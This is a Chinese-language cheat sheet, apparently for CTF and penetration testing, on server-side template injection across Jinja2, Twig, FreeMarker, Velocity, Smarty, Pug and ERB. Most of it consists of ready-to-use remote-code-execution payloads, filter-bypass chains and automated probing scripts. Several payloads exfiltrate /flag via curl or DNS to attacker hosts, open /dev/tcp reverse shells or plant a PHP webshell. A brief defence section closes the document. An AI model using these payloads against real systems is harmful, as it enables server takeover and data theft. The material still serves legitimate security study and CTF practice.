从原理到实战,覆盖所有CTF场景的SSTI攻击技术
目录
一、模板注入概述
1.1 什么是SSTI
模板注入(Server-Side Template Injection,SSTI)发生在用户输入未经过严格过滤直接进入模板渲染时。根据模板语言不同,可能导致:
-
信息泄露:变量、配置、环境变量
-
远程代码执行(RCE):调用系统命令、执行任意函数
1.2 攻击本质
模板解析用户输入 → 注入表达式 → 爬对象继承链 → 找可用类 → 执行命令1.3 常见模板引擎
| 语言 | 模板引擎 | 识别特征 |
|---|---|---|
| Python | Jinja2/Flask | {{7*7}} → 49 |
| Python | Mako | ${7*7} → 49 |
| Java | FreeMarker | ${7*7} → 49 |
| Java | Velocity | #set($x=7*7)$x → 49 |
| PHP | Smarty | {$smarty.version} |
| PHP | Twig | {{_self}} |
| Ruby | ERB | <%= 7*7 %> → 49 |
| Node.js | Jade/Pug | #{7*7} → 49 |
二、Jinja2实战测试流程
2.1 确认SSTI存在
{{7*7}} 返回 49 → SSTI存在{{7*'7'}} 返回 7777 → Jinja2确认(字符串乘法)${7*7} 返回 49 → FreeMarker/Velocity<%= 7*7 %> 返回 49 → ERB (Ruby)2.2 确认Jinja2/Flask
{{config}} 返回配置对象 → Flask/Jinja2{{self}} 返回 <TemplateReference>{{request}} 返回 request 对象{{lipsum}} 返回函数对象2.3 理解对象继承链
核心思路:通过Python对象继承链爬到object,再找可用子类
任意对象 → __class__(找到对象的类) → __mro__(继承链上的所有类)/ __base__(直接父类) → object(拿到最终父类) → __subclasses__()(拿到父类下的所有子类) → 找到可利用的、可执行命令的子类三、核心Payload体系
3.1 基础链(从字符串爬到object)
''.__class__ # <class 'str'>''.__class__.__mro__ # (str, object)''.__class__.__mro__[-1] # <class 'object'>''.__class__.__mro__[-1].__subclasses__() # object所有子类列表3.2 寻找目标类的方法
本地先枚举子类索引:
subclasses = ''.__class__.__mro__[-1].__subclasses__()for i, cls in enumerate(subclasses): print(i, cls)3.3 常见利用类
| 目标 | 类名 | 用途 |
|---|---|---|
| 文件读取 | file (py2) | 读取任意文件 |
| 命令执行 | subprocess.Popen | 执行系统命令 |
| 命令执行 | os._wrap_close | 通过__init__.__globals__拿到os |
| 代码执行 | warnings.catch_warnings | 拿到builtins |
3.4 Payload模板
Python 2读文件
{{''.__class__.__mro__[-1].__subclasses__()[40]('/etc/passwd').read()}}注意:索引40是file类(Python 2),不同环境索引不同。
Python 3命令执行(通过os._wrap_close)
{{''.__class__.__mro__[-1].__subclasses__()[索引].__init__.__globals__['os'].popen('id').read()}}解释:
-
__init__:类的初始化方法,是一个函数对象 -
__globals__:函数对象的全局命名空间,获取该函数定义时的全局变量
通过builtins执行
{{''.__class__.__mro__[-1].__subclasses__()[索引]()._module.__builtins__['__import__']('os').popen('id').read()}}解释:
-
_module:某些Python内部类的属性,指向所属模块对象 -
__builtins__:内置命名空间
lipsum全局变量链(CTF最常用)
{{lipsum.__globals__['os'].popen('id').read()}}{{lipsum.__globals__['__builtins__']['eval']('__import__("os").popen("id").read()')}}解释:
lipsum:Jinja2内置全局函数,可以直接访问其__globals__
其他常用全局函数
{{url_for.__globals__['os'].popen('id').read()}}{{get_flashed_messages.__globals__['os'].popen('id').read()}}{{cycler.__init__.__globals__['os'].popen('id').read()}}{{joiner.__init__.__globals__['os'].popen('id').read()}}{{namespace.__init__.__globals__['os'].popen('id').read()}}四、WAF绕过技巧
4.1 下划线被过滤
方法1:用request.args传参
{{''|attr(request.args.c)|attr(request.args.m)[-1]|attr(request.args.s)()}}&c=__class__&m=__mro__&s=__subclasses__方法2:attr过滤器
{{''|attr('__class__')}}{{''|attr(request.args.c)}}&c=__class__解释:attr不需要点号或下划线就能获取对象属性
4.2 点号被过滤
# 用[]代替{{''['__class__']}}{{''['__class__']['__mro__'][-1]}}4.3 关键字被过滤(class/mro/subclasses)
方法1:字符串拼接
{{''['__cla'~'ss__']}} # Jinja2用~拼接{{''['__cla'+'ss__']}} # 某些环境+也可以方法2:使用request.args传入
{{''[request.args.a][request.args.b][-1][request.args.c]()}}&a=__class__&b=__mro__&c=__subclasses__4.4 数字被过滤(无法直接写索引)
# 用pop()或next(){{''.__class__.__mro__.__getitem__(-1).__subclasses__().pop(40)}}4.5 引号被过滤
# 用request.args传参{{lipsum[request.args.g][request.args.o][request.args.p](request.args.c).read()}}&g=__globals__&o=os&p=popen&c=id4.6 过滤{{ }}
# 用{% if %}执行命令(不显示输出){% if lipsum.__globals__['os'].popen('id').read() %}success{% endif %}
# 外带数据{% if lipsum.__globals__['os'].popen('curl http://attacker.com/$(cat /flag | base64)').read() %}1{% endif %}4.7 完整绕过链模板
极限制场景:过滤__、os、{{ }}、import
{% if lipsum|attr(request.args.g)|attr(request.args.gi)(request.args.b)|attr(request.args.gi)(request.args.i)(request.args.o|b64decode)|attr(request.args.p)(request.args.cmd)|attr(request.args.r)() %}1{% endif %}&g=__globals__&gi=__getitem__&b=__builtins__&i=__import__&o=b3M=&p=popen&cmd=cat /flag&r=read五、无回显利用技巧
5.1 时间盲注(类似SQL注入)
{% if lipsum.__globals__['os'].popen('sleep 5').read() %}1{% endif %}判断:如果响应延迟5秒,说明命令执行成功。
5.2 HTTP外带
{% if lipsum.__globals__['os'].popen('curl http://attacker.com/log?data=$(cat /flag | base64)').read() %}1{% endif %}5.3 DNS外带
{% if lipsum.__globals__['os'].popen('nslookup $(cat /flag).attacker.com').read() %}1{% endif %}5.4 写WebShell
{% if lipsum.__globals__['os'].popen('echo "<?php @eval($_POST[cmd]); ?>" > /var/www/html/shell.php').read() %}1{% endif %}5.5 反弹Shell
{% if lipsum.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"').read() %}1{% endif %}六、高级绕过技术
6.1 使用Jinja2过滤器链
join过滤器绕过关键字
{{''|join('__cla')|join('ss__')}} # 等价于'__class__'format过滤器
{{'%c'|format(95)}} # 输出'_'{{'%c%c'|format(95,95)}} # 输出'__'reverse过滤器
{{'ssalc__'|reverse}} # '__class__'6.2 使用Jinja2控制结构
for循环枚举
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval('__import__("os").popen("id").read()') }}{% endif %}{% endfor %}set变量构造
{% set a = '__cla' %}{% set b = 'ss__' %}{% set c = a~b %}{{ ''[c] }}6.3 Unicode绕过
{{''['\u005f\u005fclass\u005f\u005f']}} # {{''['__class__']}}6.4 八进制绕过
{{''['\137\137class\137\137']}} # {{''['__class__']}}6.5 使用request对象的其他属性
# request.values (GET + POST){{''[request.values.c]}}&c=__class__
{{''[request.cookies.c]}} # Cookie: c=__class__
# request.headers{{''[request.headers.get('X-Class')]}} # Header: X-Class: __class__
# request.json (JSON body){{''[request.json.c]}} # POST body: {"c":"__class__"}6.6 使用config对象
# 如果config可访问{{config.__class__.__init__.__globals__['os'].popen('id').read()}}{{config['OS']}} # 环境变量6.7 使用self对象
{{self.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("id").read()')}}七、其他模板引擎
7.1 Twig (Symfony)
识别:
{{7*7}} → 49{{_self}} → 显示Twig环境信息RCE Payload:
{{['id']|filter('system')}}{{['id','']|sort('system')}}{{'id'|exec}}7.2 FreeMarker
识别:
${7*7} → 49${.now} → 当前时间RCE Payload:
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}7.3 Velocity
识别:
#set($x=7*7)$x → 49RCE Payload:
#set($x='')###set($rt=$x.class.forName('java.lang.Runtime'))###set($chr=$x.class.forName('java.lang.Character'))###set($str=$x.class.forName('java.lang.String'))###set($ex=$rt.getRuntime().exec('id'))##$ex.waitFor()###set($is=$ex.getInputStream())###foreach($i in [1..$is.available()])$chr.toString($is.read())#end7.4 Smarty (PHP)
识别:
{$smarty.version} → 显示版本RCE Payload:
{php}system('id');{/php}{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}7.5 Jade/Pug (Node.js)
识别:
#{7*7} → 49RCE Payload:
#{root.process.mainModule.require('child_process').execSync('id')}7.6 ERB (Ruby)
识别:
<%= 7*7 %> → 49RCE Payload:
<%= system('id') %><%= `id` %><%= File.read('/etc/passwd') %>八、CTF实战案例
案例1:Tornado模板注入
场景:URL参数msg有回显,{{7*7}}被过滤返回orz
解法:Tornado特有语法
{{handler.settings}}拿到cookieSecret,计算md5(cookie),访问/fllllllag拿到flag。
案例2:Flask过滤小括号
场景:源码暴露,过滤()、config、self
解法:利用Flask全局函数
{{url_for.__globals__["current_app"].config}}案例3:过滤{{ }}
场景:WAF拦截{{和}}
解法:用{% if %} + 外带
{% if lipsum.__globals__['os'].popen('curl http://your-server.com/$(cat /flag | base64)').read() %}1{% endif %}案例4:极限制过滤
场景:过滤__、os、import、{{ }}、config
解法:
{% set x = lipsum|attr(request.args.g)|attr(request.args.gi)(request.args.o|b64decode) %}{% if x|attr(request.args.p)(request.args.c)|attr(request.args.r)() %}1{% endif %}&g=__globals__&gi=__getitem__&o=b3M=&p=popen&c=cat /flag&r=read九、自动化脚本库
9.1 枚举可用子类索引
#!/usr/bin/env python3import requests
url = "http://target/?name="for i in range(500): payload = f"{{{{''.__class__.__mro__[-1].__subclasses__()[{i}]}}}}" r = requests.get(url + payload) if 'Popen' in r.text or '_wrap_close' in r.text or 'catch_warnings' in r.text: print(f"[+] Found at {i}: {r.text[:100]}")9.2 枚举全局函数
#!/usr/bin/env python3import requests
url = "http://target/?name="funcs = ['lipsum', 'url_for', 'get_flashed_messages', 'cycler', 'joiner', 'namespace']
for func in funcs: payload = f"{{{{{func}.__globals__.keys()}}}}" r = requests.get(url + payload) print(f"{func}: {r.text[:200]}")9.3 自动绕过WAF
#!/usr/bin/env python3import requestsimport base64
url = "http://target/"
# 原始payloadcmd = "cat /flag"
# 编码绕过encoded_os = base64.b64encode(b"os").decode()
# 构造payloadpayload = f"{{{{lipsum.__globals__['{encoded_os}'|b64decode].popen('{cmd}').read()}}}}"
# 发送请求r = requests.get(url, params={'name': payload})print(r.text)十、快速参考手册
10.1 3秒识别模板引擎
{{7*7}} → 49 (字符串) → Jinja2/Twig{{7*'7'}} → 7777777 → Jinja2 (确认){{config}} → 配置对象 → Flask/Jinja2${7*7} → 49 → FreeMarker/Velocity<%= 7*7 %> → 49 → ERB (Ruby)#{7*7} → 49 → Ruby10.2 最强Payload(5个)
1. lipsum链(90%场景可用)
{{lipsum.__globals__['os'].popen('id').read()}}2. 子类链(万能备用)
{{''.__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['os'].popen('id').read()}}3. url_for链(lipsum不可用时)
{{url_for.__globals__['os'].popen('id').read()}}4. builtins链(需要import)
{{lipsum.__globals__['__builtins__']['__import__']('os').popen('id').read()}}5. config链(配置可访问时)
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}10.3 WAF绕过速查表
过滤__
{{''|attr(request.args.c)}}&c=__class__过滤.
{{''['__class__']}}过滤关键字
{{''['__cla'~'ss__']}}过滤{{ }}
{% if lipsum.__globals__['os'].popen('id').read() %}1{% endif %}过滤os
{{lipsum.__globals__['\x6f\x73'].popen('id').read()}}{{lipsum.__globals__['b3M='|b64decode].popen('id').read()}}过滤数字
{{''.__class__.__mro__.__getitem__(-1).__subclasses__().pop(40)}}过滤引号
{{lipsum[request.args.g][request.args.o][request.args.p](request.args.c).read()}}&g=__globals__&o=os&p=popen&c=id10.4 外带方式
HTTP外带
{% if lipsum.__globals__['os'].popen('curl http://your-server.com/$(cat /flag | base64)').read() %}1{% endif %}DNS外带
{% if lipsum.__globals__['os'].popen('nslookup $(cat /flag).your-dns.com').read() %}1{% endif %}写文件
{% if lipsum.__globals__['os'].popen('cat /flag > /var/www/html/flag.txt').read() %}1{% endif %}反弹Shell
{% if lipsum.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"').read() %}1{% endif %}10.5 编码转换速查
| 原字符串 | base64 | hex | chr |
|---|---|---|---|
| os | b3M= | \x6f\x73 | chr(111)+chr(115) |
| system | c3lzdGVt | \x73\x79\x73\x74\x65\x6d | chr(115)+chr(121)+… |
| import | aW1wb3J0 | \x69\x6d\x70\x6f\x72\x74 | chr(105)+chr(109)+… |
| popen | cG9wZW4= | \x70\x6f\x70\x65\x6e | chr(112)+chr(111)+… |
10.6 CTF完整Checklist
-
[ ] 确认注入点(
{{7*7}}) -
[ ] 识别模板引擎(
{{config}}) -
[ ] 信息收集(globals/subclasses)
-
[ ] 测试过滤规则(下划线/点号/关键字)
-
[ ] 选择绕过方式(attr/request.args)
-
[ ] 构造payload
-
[ ] 启动外带服务器(nc/python http.server)
-
[ ] 执行payload
-
[ ] 获取flag
-
[ ] 提交
十一、常见错误排查
-
Payload无回显 → 用外带方式(curl/nslookup)或检查命令是否执行(写文件)
-
索引不对 → 先枚举子类索引,不同环境索引不同
-
globals没有os → 换其他全局函数(url_for/get_flashed_messages)或用builtins import
-
过滤太严格 → 组合多种绕过(attr + request.args + 编码)
-
lipsum不可用 → 用url_for / get_flashed_messages / cycler
十二、调试技巧
12.1 本地测试环境
from flask import Flask, requestfrom jinja2 import Template
app = Flask(__name__)
@app.route('/')def index(): user_input = request.args.get('name', '')
# 模拟过滤规则 blacklist = ['{{', '}}', '__', 'config', 'os', 'import'] for word in blacklist: if word in user_input: return 'Blocked!'
template = Template(user_input) return template.render()
if __name__ == '__main__': app.run(debug=True, port=5000)12.2 分步调试
# Step 1{{lipsum}}
# Step 2{{lipsum.__globals__}}
# Step 3{{lipsum.__globals__.keys()}}
# Step 4{{lipsum.__globals__['os']}}
# Step 5{{lipsum.__globals__['os'].popen('id')}}
# Step 6{{lipsum.__globals__['os'].popen('id').read()}}十三、防御建议
-
永远不要将用户输入直接传入模板引擎
-
使用沙箱模式
from jinja2 import SandboxedEnvironment
env = SandboxedEnvironment()template = env.from_string(user_input) # 受限- 白名单过滤
from jinja2 import Environment
env = Environment()env.globals.pop('__builtins__', None) # 删除builtinsenv.globals.pop('range', None) # 删除range- 使用参数化模板
# 正确方式template = Template('Hello {{ name }}!')result = template.render(name=user_input)
# 错误方式template = Template('Hello ' + user_input)- 输入验证
import re
user_input = request.args.get('name', '')if re.search(r'[{}]', user_input): return 'Invalid input'十四、总结
核心要点
-
SSTI本质:模板解析用户输入 → 爬对象继承链 → 找可用类 → 执行命令
-
常用入口:lipsum、url_for、get_flashed_messages、subclasses
-
绕过优先级:下划线过滤 → request.args / attr;点号过滤 → [];关键字过滤 → 字符串拼接 / 编码;{{ }}过滤 → {% if %}
-
外带方式:HTTP、DNS、写文件、反弹Shell
最小化思维模型
找输入点 → 触发异常 → 判引擎 → 选入口 → 探结构 → 执行命令 → 外带/回显文档版本:v1.0 最后更新:2026-03-22 适用场景:CTF竞赛、渗透测试、安全研究